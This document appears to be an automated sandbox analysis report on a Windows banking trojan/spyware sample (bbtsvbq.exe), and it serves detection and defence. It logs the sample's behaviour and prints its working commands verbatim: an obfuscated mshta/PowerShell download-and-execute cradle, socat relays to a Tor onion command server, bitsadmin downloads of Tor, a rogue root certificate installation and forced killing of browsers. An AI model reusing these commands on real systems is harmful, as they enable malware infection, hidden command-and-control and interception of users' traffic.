Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	File created: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll

Drops PE files to the application program directory (C:\ProgramData)

Show sources

Source: C:\ProgramData\7za.exe	File created: C:\ProgramData\VitBTKxRu\socat-windows-1.7.2.1\cygwrap-0.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\ProgramData\7za.exe

Installs new ROOT certificates

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Tries to download and execute files (via powershell)

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F'
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F'

Tries to download files via bitsadmin

Show sources

Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: unknown	Process created: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'

Data Obfuscation:

Compiles C# or VB.Net code

Show sources

Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline'

Contains functionality to dynamically determine API calls

Show sources

Source: C:\ProgramData\7za.exe

Code function: 6_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00471C24

PE file contains sections with non-standard names

Show sources

Source: 7za.exe.4.dr

Static PE information: section name: .sxdata

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013BC366 push ecx; ret	1_2_013BC379
Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B2036 push ecx; ret	1_2_013B2049
Source: C:\ProgramData\7za.exe	Code function: 6_2_0046B890 push eax; ret	6_2_0046B8AE
Source: C:\ProgramData\7za.exe	Code function: 6_2_00459590 push ecx; mov dword ptr [esp], ecx	6_2_00459591
Source: C:\ProgramData\7za.exe	Code function: 6_2_0046CC80 push eax; ret	6_2_0046CCAE
Source: C:\Windows\System32\mshta.exe	Code function: 17_1_02805518 push eax; ret	17_1_02805548
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Code function: 19_2_00425518 push eax; ret	19_2_00425548
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Code function: 19_1_00425518 push eax; ret	19_1_00425548

Obfuscated command line found

Show sources

Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))

Powershell starts a process from the temp directory

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'

Suspicious powershell command line found

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'

Spreading:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B6ECA FindFirstFileExA,	1_2_013B6ECA
Source: C:\ProgramData\7za.exe	Code function: 6_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	6_2_0040B174
Source: C:\ProgramData\7za.exe	Code function: 6_2_0040B6E9 __EH_prolog,FindFirstFileW,GetCurrentDirectoryW,	6_2_0040B6E9

Enumerates the file system

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming

System Summary:

Reads internet explorer settings

Show sources

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_USERS\Software\Microsoft\Internet Explorer\Settings

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Uses new MSVCR Dlls

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\MSVCR80.dll

PE file contains a mix of data directories often seen in goodware

Show sources

Source: bbtsvbq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: bbtsvbq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: bbtsvbq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: bbtsvbq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: bbtsvbq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: bbtsvbq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: bbtsvbq.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Show sources

Source: bbtsvbq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Show sources

Source:	Binary string: mscorlib.pdb source: powershell.exe
Source:	Binary string: C:\Windows\mscorlib.pdb source: powershell.exe
Source:	Binary string: mscorrc.pdb source: powershell.exe
Source:	Binary string: rlib.pdb source: powershell.exe
Source:	Binary string: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe
Source:	Binary string: C:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdbt source: Microsoft.Win32.TaskScheduler.dll2.6.dr
Source:	Binary string: c:\Users\user\AppData\Local\Temp\9kehql3e.pdb source: 9kehql3e.dll.35.dr
Source:	Binary string: msado15.pdb source: bbtsvbq.exe
Source:	Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe
Source:	Binary string: C:\Windows\dll\mscorlib.pdb source: powershell.exe
Source:	Binary string: indows\mscorlib.pdbpdblib.pdb source: powershell.exe
Source:	Binary string: C:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, Microsoft.Win32.TaskScheduler.dll.6.dr, Microsoft.Win32.TaskScheduler.dll2.6.dr, Microsoft.Win32.TaskScheduler.dll1.6.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe
Source:	Binary string: msado15.pdb`Cr source: bbtsvbq.exe
Source:	Binary string: scrrun.pdb source: bbtsvbq.exe

PE file contains a valid data directory to section mapping

Show sources

Source: bbtsvbq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: bbtsvbq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: bbtsvbq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: bbtsvbq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: bbtsvbq.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Classification label

Show sources

Source: classification engine

Classification label: mal100.evad.expl.spyw.bank.troj.winEXE@57/102@11/16

Contains functionality to instantiate COM classes

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Code function: 1_2_013B1160 __EH_prolog3_GS,CoInitializeEx,CLSIDFromProgID,CoCreateInstance,

1_2_013B1160

Creates files inside the user directory

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations

Creates temporary files

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

File created: C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1

Found command line output

Show sources

Source: C:\Windows\System32\bitsadmin.exe	Console Write: ..........................0.....\...d...T.....................................%..d.wl.%....w.@......,.%.....8........;..
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ..............0.....B.I.T.S.A.D.M.I.N. .v.e.r.s.i.o.n. .3...0. .[. .7...5...7.6.0.1. .].........X.I.8.%.H....;......8...
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ..........0.........B.I.T.S. .a.d.m.i.n.i.s.t.r.a.t.i.o.n. .u.t.i.l.i.t.y....... .].........X.I.X.I.<.%.<............).w
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ....................T.S. .a.d.m.i.n.i.s.t.r.a.t.i.o.n. .u.t.i.l.i.t.y....... .].........X.I.X.I.X.I.....R...............
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ........................d.m.i.n.i.s.t.r.a.t.i.o.n. .u.t.i.l.i.t.y....... .].........X.I.X.I.X.I.....D.%...............%.
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ....................d.m.i.n.i.s.t.r.a.t.i.o.n. .u.t.i.l.i.t.y....... .].........X.I.X.I.X.I.....X.I...................\|.
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ....................i.n.i.s.t.r.a.t.i.o.n. .u.t.i.l.i.t.y....... .].........X.I.X.I.X.I.....X.I.........................
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ........................t.r.a.t.i.o.n. .u.t.i.l.i.t.y....... .].........X.I.X.I.X.I.....X.I.........P.%.................
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ....................U.n.a.b.l.e. .t.o. .c.o.n.n.e.c.t. .t.o. .B.I.T.S. .-. .0.x.8.0.0.7.0.4.2.2.......%.P...`.....,.....
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ..................................................................\w..........%...%.o.\w....H.%.#.\w........`.....,.....
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ..................................................................\w..........%...%.o.\w....H.%.#.\w..%...........,.....
Source: C:\Windows\System32\bitsadmin.exe	Console Write: ..................................................................\w..........%...%.o.\w....H.%.#.\w..%.....`.....,.....
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...}.#........Wa..........Wa...X...1m.p9...1m.-...k9...X.........\|g9. w1.\|g9...}...*..B...........p9...9.....
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.#.....]w..X...............]w..0..................D..................#.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*./...x.e.'. .b.e.c.a.u.s.e. .i.t. .d.o.e.s. .n.o.t. .e.x.i.s.t......./.........n.0.X...X.<...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*./.....]w..X...............]w..0..................D................../.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.;...A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.3............E..................;.........n.0.X...X."...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.;.....]w..X...............]w..0.................1E..................;.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.G.....]w..X...............]w..0.................\E..................G.........n.0.X.....................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.G.....]w..X...............]w..0.................zE..................G.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.S.....]w..X...............]w..0..................E..................S.........n.0.X.....................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.S.....]w..X...............]w..0..................E..................S.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*._...n.g.(.'.h.t.t.p.:././.a.p.i...i.p.i.f.y...o.r.g./.'.).,.$.F.).;.&. .$.F...n.0.X...X.H...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*._.....]w..X...............]w..0..................F.................._.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.k.....]w..X...............]w..0..................F..................k.........n.0.X.....................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.k.....]w..X...............]w..0.................LF..................k.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.w.....]w..X...............]w..0.................wF..................w.........n.0.X.....d...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.w.....]w..X...............]w..0..................F..................w.........n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.......]w..X...............]w..0..................F............................n.0.X.....................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.......]w..X...............]w..0..................F............................n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*..... . . .e.I.t.e.m.C.o.m.m.a.n.d................G............................n.0.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.......]w..X...............]w..0..................G............................n.p.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*..... .]w..X...............]w..0.................CG............................n.0.X...X.................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........X...*.......]w..X...............]w..0.................aG............................n.p.X...X.................
Source: C:\Windows\System32\taskkill.exe	Console Write: ..........]w..0.............................................(.,.....0.......e.......o...n.......B.......Z...............
Source: C:\Windows\System32\taskkill.exe	Console Write: ..........]w..0.....`...d...T...............................(.".............d.......]...n.......B.......X...............
Source: C:\Windows\System32\taskkill.exe	Console Write: ..........]w..0.....d...$.......]........................... .......P.......c.......[...n.......B.......V...............

PE file has an executable .text section and no other executable section

Show sources

Source: bbtsvbq.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Parts of this applications are using the .NET runtime (Probably coded in C#)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorlib.dll

Queries process information (via WMI, Win32_Process)

Show sources

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "iexplore.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "firefox.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Reads ini files

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

File read: C:\Users\user\Desktop\desktop.ini

Reads software policies

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Sample is known by Antivirus (Virustotal or Metascan)

Show sources

Source: bbtsvbq.exe

Virustotal: hash found

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\bbtsvbq.exe 'C:\Users\user\Desktop\bbtsvbq.exe'
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1'
Source: unknown	Process created: C:\Windows\System32\find.exe find /v ''
Source: unknown	Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ' -y 'C:\Users\user~1\AppData\Local\Temp\QKB6w.zip'
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: unknown	Process created: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: unknown	Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {7FB8942A-D520-4069-87A1-8D11961A18B0} S-1-5-21-312302014-279660585-3511680526-1005:user-PC\user:Interactive:[1]
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('tor.exe',0,False))
Source: unknown	Process created: C:\ProgramData\VitBTKxRu\Tor\tor.exe 'C:\ProgramData\VitBTKxRu\Tor\tor.exe'
Source: unknown	Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\sX7raTm2LP.zip'
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050',0,False))
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050',0,False))
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))
Source: unknown	Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050
Source: unknown	Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F'
Source: unknown	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe
Source: unknown	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im firefox.exe
Source: unknown	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im chrome.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'
Source: unknown	Process created: C:\Windows\System32\find.exe find /v ''
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8E0E.tmp'
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe
